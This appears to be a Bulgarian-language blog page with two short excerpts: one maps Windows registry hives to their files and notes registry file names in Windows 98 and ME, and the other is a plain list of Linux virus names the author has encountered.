HKEY_LOCAL_MACHINE\Software Software, Software.log, Software.sav
HKEY_LOCAL_MACHINE\System System, System.alt, System.log, System.sav
HKEY_CURRENT_CONFIG System, System.alt, System.log, System.sav, Ntuser.dat, Ntuser.dat.log
HKEY_USERS\DEFAULT Default, Default.log, Default.sav

В Windows 98 файловете на системния регистър се наричат User.dat и System.dat. В Windows Millennium Edition тези файлове се наричат Classes.dat, User.dat и System.dat.

Забележка Функциите за защита в Windows NT, Windows 2000, Windows XP и Windows Server 2003 позволяват на администратора да контролира достъпа към ключовете на системния регистър.

Прочети още ...

Linux вируси

Ето малко вируси с които съм се сблъсквал. Можете да прочетете повече информация в интернет - google.bg


Linux.Bliss
Linux.Dido.478
Linux.Diesel.969
Linux.Gildo
Linux.Kagob
Linux.Mandragore.666
Linux.Manpages
Linux.Nuxbee.1403
Linux.Osf.8759
Linux.Quasi
Linux.Radix
Linux.RST.b
Linux.Siilov.5916
Linux.Staog
Linux.Svat.a
Linux.Telf
Linux.Vit.4096
Linux.Winter.343
Linux.ZipWorm

Прочети още ...